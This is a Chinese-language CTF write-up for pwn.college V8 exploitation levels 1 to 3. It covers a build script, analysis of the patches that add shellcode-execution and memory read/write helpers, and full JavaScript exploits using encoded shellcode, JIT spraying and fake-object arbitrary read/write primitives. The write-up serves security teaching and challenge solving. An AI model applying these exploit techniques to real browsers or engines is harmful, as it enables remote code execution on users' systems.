【V8】pwncollege V8 Exploitation WP上
11月 27, 2024
本文为pwncollege V8 Exploitation WP, 包含LEVEL 1-3 更新于2024.11.29 欢迎在文末评论区进行留言讨论或指出问题
前言
题目地址:https://pwn.college/quarterly-quiz/v8-exploitation
总共有level 1-9,每个题目包含:
commit版本号
patch
build参数
以及d8
这里我建议直接把commit、patch和build参数拷贝下来,自己本地编译一个d8即可。我参照之前的编译脚本重新做了些修改
Usage
这里的patch_file尽量使用绝对路径,不然会有些小BUG
1 ./build_v8_patch.sh <commit_hash> <patch_file> [build_name]
build.sh
注意:
绝对路径部分需要自行更改
--args
的部分可根据题目要求自行进行更改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #!/bin/bash VER=$1 PATCH_FILE=$2 NAME=${3:-$VER } if [ -z "$VER " ]; then echo "Usage: $0 <commit_hash> <patch_file> [build_name]" exit 1 fi cd /home/loorain/v8/v8/ || { echo "Failed to change directory" ; exit 1; }git reset --hard "$VER " || { echo "Failed to reset to commit $VER " ; exit 1; } gclient sync -D || { echo "Failed to sync dependencies" ; exit 1; } if [ -n "$PATCH_FILE " ]; then if [ -f "$PATCH_FILE " ]; then git apply "$PATCH_FILE " || { echo "Failed to apply patch $PATCH_FILE " ; exit 1; } else echo "Patch file $PATCH_FILE not found" exit 1 fi fi gn gen out/x64_$NAME .release --args='is_component_build = false is_debug = false target_cpu = "x64" v8_enable_sandbox = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true dcheck_always_on = false use_goma = false v8_code_pointer_sandboxing = false' || { echo "Failed to generate build configuration" ; exit 1; } ninja -C out/x64_$NAME .release d8 || { echo "Build failed" ; exit 1; } echo "Build completed successfully"
LEVEL 1 patch 直接来看patch部分增加的代码。在patch最下方,可以很明显看到新增了run()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 @@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true); + SimpleInstallFunction(isolate_, proto, "run", + Builtin::kArrayRun, 0, false); SimpleInstallFunction(isolate_, proto, "concat", Builtin::kArrayPrototypeConcat, 1, false); SimpleInstallFunction(isolate_, proto, "copyWithin",
如下也能判断出应当是针对Array数组类型
1 2 3 4 5 6 7 8 9 10 11 12 13 @@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger; + case Builtin::kArrayRun: + return Type::Receiver(); // ArrayBuffer functions. case Builtin::kArrayBufferIsView:
这里便是ArrayRun()
的完整具体实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 @@ -407,6 +409,47 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); } +BUILTIN(ArrayRun) { + HandleScope scope(isolate); + Factory *factory = isolate->factory(); + Handle<Object> receiver = args.receiver(); + + if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Nope"))); + } + + Handle<JSArray> array = Cast<JSArray>(receiver); + ElementsKind kind = array->GetElementsKind(); + + if (kind != PACKED_DOUBLE_ELEMENTS) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Need array of double numbers"))); + } + + uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length())); + if (sizeof(double) * (uint64_t)length > 4096) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("array too long"))); + } + + // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0); + if (mem == (double *)-1) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("mmap failed"))); + } + + Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate); + FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, { + double x = elements->get_scalar(i); + mem[i] = x; + }); + + ((void (*)())mem)(); + return 0; +} + namespace { V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
ArrayRun 这里对核心代码ArrayRun
进行分析。首先,对receiver 进行了check
1 2 3 4 if (!IsJSArray (*receiver) || !HasOnlySimpleReceiverElements (isolate, Cast <JSArray>(*receiver))) { THROW_NEW_ERROR_RETURN_FAILURE (isolate, NewTypeError (MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked ("Nope" ))); }
判断其是否为Array 并且只拥有Simple Receiver Elements ,一般来讲指:
连续的整数索引 :数组元素是连续的、以整数索引的方式排列,没有稀疏的元素(即不是Holey )。
标准数组结构 :数组没有被转化为稀疏数组或其他类型的对象,比如它没有修改过 length
属性,或者没有不连续的索引。
无 Map
或 Set
结构 :数组没有使用非整数的键名(例如,字符串、Symbol、对象作为键)来存储值。
接着获取数组元素类型并判断,要求类型为PAKCED_DOUBLE_ELEMENTS ,即双精度浮点元素。
1 2 3 4 5 6 7 Handle<JSArray> array = Cast <JSArray>(receiver); ElementsKind kind = array->GetElementsKind (); if (kind != PACKED_DOUBLE_ELEMENTS) { THROW_NEW_ERROR_RETURN_FAILURE (isolate, NewTypeError (MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked ("Need array of double numbers" ))); }
题外话:
PAKCED_DOUBLE_ELEMENTS 并不意味着所有的元素必须都是双精度浮点。因为元素类型是子集包含关系,如下图:
由图可知,PACKED_SMI_ELEMENTS 是PACKED_DOUBLE_ELEMENTS 的子集,所以也可以包含SMI小整形。具体的关于Elements Kinds 的内容可以查看这篇文章:Elements kinds in V8
之后使用mmap开辟了一片RWX区域
1 2 3 4 5 6 double *mem = (double *)mmap (NULL , 4096 , 7 , 0x22 , -1 , 0 );if (mem == (double *)-1 ) { THROW_NEW_ERROR_RETURN_FAILURE (isolate, NewTypeError (MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked ("mmap failed" ))); }
最后拷贝array中的double 数据存入mem
中,然后直接执行mem
1 2 3 4 5 6 7 8 Handle<FixedDoubleArray> elements (Cast<FixedDoubleArray>(array->elements()), isolate) ;FOR_WITH_HANDLE_SCOPE (isolate, uint32_t , i = 0 , i, i < length, i++, { double x = elements->get_scalar (i); mem[i] = x; }); ((void (*)())mem)(); return 0 ;
总体来说,比较简单就是一个double data shellcode
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 function BigIntToDouble (bigIntArray ) { const buffer = new ArrayBuffer (shellcode.length * 8 ); const view = new DataView (buffer); bigIntArray.forEach ((bigInt, index ) => { view.setBigUint64 (index * 8 , bigInt, true ); }); const double_array = new Float64Array (buffer); return Array .from (double_array); } var shellcode = [ 16323657644055069034n , 16611888020206780778n , 2608851925472796776n , 7307011539825918209n , 5210783956162667311n , 7308335460934430648n , 6357792841636794478n , 14757395258967590159n ]; var shellcode_dArray = BigIntToDouble (shellcode);shellcode_dArray.run ();
LEVEL 2 patch 同样,首先分析Patch文件,可以明显的看到,增加了三个函数GetAddressOf
,ArbRead32
,ArbWrite32
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @@ -507,6 +507,9 @@ class Shell : public i::AllStatic { }; enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone }; + static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args); + static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args); + static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args); static bool ExecuteString(Isolate* isolate, Local<String> source, Local<String> name, ReportExceptions report_exceptions,
下面看看具体函数实现
GetAddressOf 有之前V8 CVE复现基础的情况下,我们很容易猜测其应当是获取某个对象的地址的函数,直接来看看实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void Shell::GetAddressOf (const v8::FunctionCallbackInfo<v8::Value>& info) { v8::Isolate* isolate = info.GetIsolate (); if (info.Length () == 0 ) { isolate->ThrowError ("First argument must be provided" ); return ; } internal::Handle<internal::Object> arg = Utils::OpenHandle (*info[0 ]); if (!IsHeapObject (*arg)) { isolate->ThrowError ("First argument must be a HeapObject" ); return ; } internal::Tagged<internal::HeapObject> obj = internal::Cast <internal::HeapObject>(*arg); uint32_t address = static_cast <uint32_t >(obj->address ()); info.GetReturnValue ().Set (v8::Integer::NewFromUnsigned (isolate, address)); }
整体比较容易理解,能够返回一个HeapObject
的address
ArbRead32 下面看看ArbRead32()
的实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void Shell::ArbRead32 (const v8::FunctionCallbackInfo<v8::Value>& info) { Isolate *isolate = info.GetIsolate (); if (info.Length () != 1 ) { isolate->ThrowError ("Need exactly one argument" ); return ; } internal::Handle<internal::Object> arg = Utils::OpenHandle (*info[0 ]); if (!IsNumber (*arg)) { isolate->ThrowError ("Argument should be a number" ); return ; } internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase (); internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress (cage_base); uint32_t addr = static_cast <uint32_t >(internal::Object::NumberValue (*arg)); uint64_t full_addr = base_addr + (uint64_t )addr; uint32_t result = *(uint32_t *)full_addr; info.GetReturnValue ().Set (v8::Integer::NewFromUnsigned (isolate, result)); }
读取指定地址的32位内容并返回
从源代码中,我们能看到输入和返回的地址并不是实际意义上的虚拟地址 ,而是偏移地址,需要加上base才是真实地址(也就是熟知的指针压缩)
ArbWrite32 这个函数对应于ArbRead32()
,接收两个32bit参数,像32位偏移地址写入32位数据,实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void Shell::ArbWrite32 (const v8::FunctionCallbackInfo<v8::Value>& info) { Isolate *isolate = info.GetIsolate (); if (info.Length () != 2 ) { isolate->ThrowError ("Need exactly 2 arguments" ); return ; } internal::Handle<internal::Object> arg1 = Utils::OpenHandle (*info[0 ]); internal::Handle<internal::Object> arg2 = Utils::OpenHandle (*info[1 ]); if (!IsNumber (*arg1) || !IsNumber (*arg2)) { isolate->ThrowError ("Arguments should be numbers" ); return ; } internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase (); internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress (cage_base); uint32_t addr = static_cast <uint32_t >(internal::Object::NumberValue (*arg1)); uint32_t value = static_cast <uint32_t >(internal::Object::NumberValue (*arg2)); uint64_t full_addr = base_addr + (uint64_t )addr; *(uint32_t *)full_addr = value; }
exp
本题可以使用JIT Spary的方式解决,可以看这篇文章:JIT-Spray
利用GetAddressOf
以及ArbRead32
泄露shellcode中对应优化后对应机器码地址
然后利用ArbWrite32
修改指针便宜到浮点数位置即可
参考exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const shellcode = ( ) => {return [1.9995716422075807e-246 , 1.9710255944286777e-246 , 1.97118242283721e-246 , 1.971136949489835e-246 , 1.9711826272869888e-246 , 1.9711829003383248e-246 , -9.254983612527998e+61 ];} for (let i = 0 ; i< 10000 ; i++) shellcode ();shellcode_addr = GetAddressOf (shellcode); console .log ("shellcode-->" + shellcode_addr);source_code_addr = ArbRead32 (shellcode_addr + 0xc ); console .log ("source_code_addr-->" + source_code_addr);rwx_addr = ArbRead32 (source_code_addr - 1 + 0x14 ); console .log ("rwx_addr-->" +rwx_addr);float_shellcode_addr = rwx_addr + 0x69 + 2 ; ArbWrite32 (source_code_addr - 1 + 0x14 ,float_shellcode_addr);shellcode ()
LEVEL 3 patch 先来看patch,熟悉的GetAddressOf()
和GetFakeObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 @@ -507,6 +507,8 @@ class Shell : public i::AllStatic { }; enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone }; + static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args); + static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args); static bool ExecuteString(Isolate* isolate, Local<String> source, Local<String> name, ReportExceptions report_exceptions,
GetAddressOf & GetFakeObject
相信有一点v8利用基础的大家,对于这两个函数再熟悉不过了,不做过多分析了,可以自己看看代码实现
额外 :不过需要注意,这里返回的也是uint32_t的偏移地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 void Shell::GetAddressOf (const v8::FunctionCallbackInfo<v8::Value>& info) { v8::Isolate* isolate = info.GetIsolate (); if (info.Length () == 0 ) { isolate->ThrowError ("First argument must be provided" ); return ; } internal::Handle<internal::Object> arg = Utils::OpenHandle (*info[0 ]); if (!IsHeapObject (*arg)) { isolate->ThrowError ("First argument must be a HeapObject" ); return ; } internal::Tagged<internal::HeapObject> obj = internal::Cast <internal::HeapObject>(*arg); uint32_t address = static_cast <uint32_t >(obj->address ()); info.GetReturnValue ().Set (v8::Integer::NewFromUnsigned (isolate, address)); } void Shell::GetFakeObject (const v8::FunctionCallbackInfo<v8::Value>& info) { v8::Isolate *isolate = info.GetIsolate (); Local<v8::Context> context = isolate->GetCurrentContext (); if (info.Length () != 1 ) { isolate->ThrowError ("Need exactly one argument" ); return ; } Local<v8::Uint32> arg; if (!info[0 ]->ToUint32 (context).ToLocal (&arg)) { isolate->ThrowError ("Argument must be a number" ); return ; } uint32_t addr = arg->Value (); internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase (); internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress (cage_base); uint64_t full_addr = base_addr + (uint64_t )addr; internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress (full_addr); internal::Isolate *i_isolate = reinterpret_cast <internal::Isolate*>(isolate); internal::Handle<internal::Object> obj_handle (obj, i_isolate) ; info.GetReturnValue ().Set (ToApiHandle <v8::Value>(obj_handle)); }
ArbRead & ArbWrite
如果我们参考LEVEL2的,那么这个题目思路就转变为了:
使用GetAddressOf()
& GetFakeObject()
构建 ArbRead32()
和ArbWrite32()
(也就是任意地址读写原语)
之后思路同LEVEL2
….
….
其实这部分思路,在我之前的博客V8通用利用链研究 中已经有所阐述(通过addressOf
和fakeObject
构造任意读写原语,然后写shellcode进入WASM生成的RWX段)
个人非常讨厌抄板子 ,因此,这里从头梳理如何实现任意地址写原语的思路
相信大家对js中的对象存储结构已经有一定了解,这里就不过多阐述。如果还是不太清楚,可以阅读这篇文章:Fast properties in V8
以下面代码为例
1 2 var a = [1.1 , 1.1 , 1.1 ];console .log (a[0 ]);
我们都知道获取a[0]
应当有以下几个关键点:
elements: 用来定位数据存储的空间,以保证能够索引data的空间。
**HiddenClass(map): **用来存储数据类型等等与对象形状相关,以保证获取的data类型。
len: 用来表示elements 的长度,以保证索引在合法范围内。
因此,
如果能控制elements ,就能让a[0]
在寻址时访问不同内存空间。
如果能控制**HiddenClass(map)**,就能影响Array的数据类型。
如果能控制len ,就能利用a[xxxx]
索引进行越界读写。
换句话说,只要能控制这三个内容,可以很轻松的实现任意地址读写原语。
然而,我们已经拥有了GetFakeObject()
函数,我们完全可以在一个Array
的数据区域精心构造一个fakeObj
。然后利用GetAddressOf()
计算偏移得到fakeObj
的地址,再使用GetFakeObject()
获得fakeObj
对象。从此我们便有了一个能够随意更改**elements, map, len…**结构的对象,任意地址读写再轻松不过了。请看如下代码:
1 2 3 4 5 6 7 8 9 10 11 var a = [1.1 , 1.1 , 1.1 ];var fake_map = [i2f (0x31040404001c0261n ), i2f (0x0a0007ff11000844n )]; double_array_addr = GetAddressOf (a) - 0x20 ; console .log ("double_array_addr -->0x" +hex (double_array_addr));fake_double_map_addr = GetAddressOf (fake_map) + 0x24 console .log ("fake_double_array_map --0x" + hex (fake_double_map_addr));var fake_array = [u2f (fake_double_map_addr + 1 , 0 ), u2f (double_array_addr + 1 ,100 )]; var fake_obj = GetFakeObject (GetAddressOf (fake_array) + 0x24 );
这里用到了一些数据类型转换的自定义函数,这里是相关代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 var f64 = new Float64Array (1 );var bigUint64 = new BigUint64Array (f64.buffer );var u32 = new Uint32Array (f64.buffer );function hex (i ) { return i.toString (16 ).padStart (8 , "0" ); } function i2f (i ) { bigUint64[0 ] = i; return f64[0 ]; } function f2i (i ) { f64[0 ] = i; return bigUint64[0 ]; } function u2f (low, high ) { u32[0 ] = low; u32[1 ] = high; return f64[0 ]; } function u2i (low, high ) { u32[0 ] = low; u32[1 ] = high; return bigUint64[0 ]; }
这里便成功构造了一个fake_obj
,其中由于此时还无法任意地址读,所以也需要伪造一个fake_double_map
结构。
fake_obj.map 是伪造的
fake_obj.elements 借用了a.elements
len 随便定义了个100
到这里,相信任意地址读写已经呼之欲出了,无非通过fake_array[1]
赋值来更改fake_obj.elements ,之后借助fake_obj[0]
进行读取写入即可,参考代码:
1 2 3 4 5 6 7 8 9 function ArbRead64 (addr ) { fake_array[1 ] = u2f (addr-8 +1 ,100 ); return f2i (fake_obj[0 ]); } function ArbWrite64 (addr, data ) { fake_array[1 ] = u2f (addr-8 +1 ,100 ); fake_obj[0 ] = i2f (data); }
这里实现64 bit是因为我使用的是Double Array。如果想要实现32 bit的任意读写,借助SMI Array就行了。不过需要注意SMI数值在内存中存储左移了一位(也就是*2)
exp 后面的部分只能说与LEVEL2大差不差了,参考EXP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 var f64 = new Float64Array (1 );var bigUint64 = new BigUint64Array (f64.buffer );var u32 = new Uint32Array (f64.buffer );function hex (i ) { return i.toString (16 ).padStart (8 , "0" ); } function i2f (i ) { bigUint64[0 ] = i; return f64[0 ]; } function f2i (i ) { f64[0 ] = i; return bigUint64[0 ]; } function u2f (low, high ) { u32[0 ] = low; u32[1 ] = high; return f64[0 ]; } function u2i (low, high ) { u32[0 ] = low; u32[1 ] = high; return bigUint64[0 ]; } function i2u_l (i ) { bigUint64[0 ] = i; return u32[0 ]; } function i2u_h ( ) { bigUint64[0 ] = i; return u32[1 ]; } const shellcode = ( ) => {return [1.9995716422075807e-246 , 1.9710255944286777e-246 , 1.97118242283721e-246 , 1.971136949489835e-246 , 1.9711826272869888e-246 , 1.9711829003383248e-246 , -9.254983612527998e+61 ];} for (let i = 0 ; i< 10000 ; i++) shellcode ();var a = [1.1 , 1.1 , 1.1 ];var fake_map = [i2f (0x31040404001c0261n ), i2f (0x0a0007ff11000844n )]; double_array_addr = GetAddressOf (a) + 0x18 ; console .log ("double_array_addr -->0x" +hex (double_array_addr));fake_double_map_addr = GetAddressOf (fake_map) + 0x54 console .log ("fake_double_array_map -->0x" + hex (fake_double_map_addr));var fake_array = [u2f (fake_double_map_addr + 1 , 0 ), u2f (double_array_addr + 1 ,100 )]; var fake_obj = GetFakeObject (GetAddressOf (fake_array) + 0x54 );function ArbRead64 (addr ) { fake_array[1 ] = u2f (addr-8 +1 ,100 ); return f2i (fake_obj[0 ]); } function ArbWrite64 (addr, data ) { fake_array[1 ] = u2f (addr-8 +1 ,100 ); fake_obj[0 ] = i2f (data); } shellcode_addr = GetAddressOf (shellcode); console .log ("shellcode_addr-->0x" +hex (shellcode_addr));code_addr = i2u_l (ArbRead64 (shellcode_addr + 0xc )); console .log ("code_addr-->0x" +hex (code_addr));machine_code_addr = ArbRead64 (code_addr+0x14 -1 ); console .log ("machine_code_addr-->0x" +hex (machine_code_addr));ArbWrite64 (code_addr+0x14 -1 , machine_code_addr+0x69n +2n );machine_code_addr = ArbRead64 (code_addr+0x14 -1 ); console .log ("machine_code_addr-->0x" +hex (machine_code_addr));shellcode ();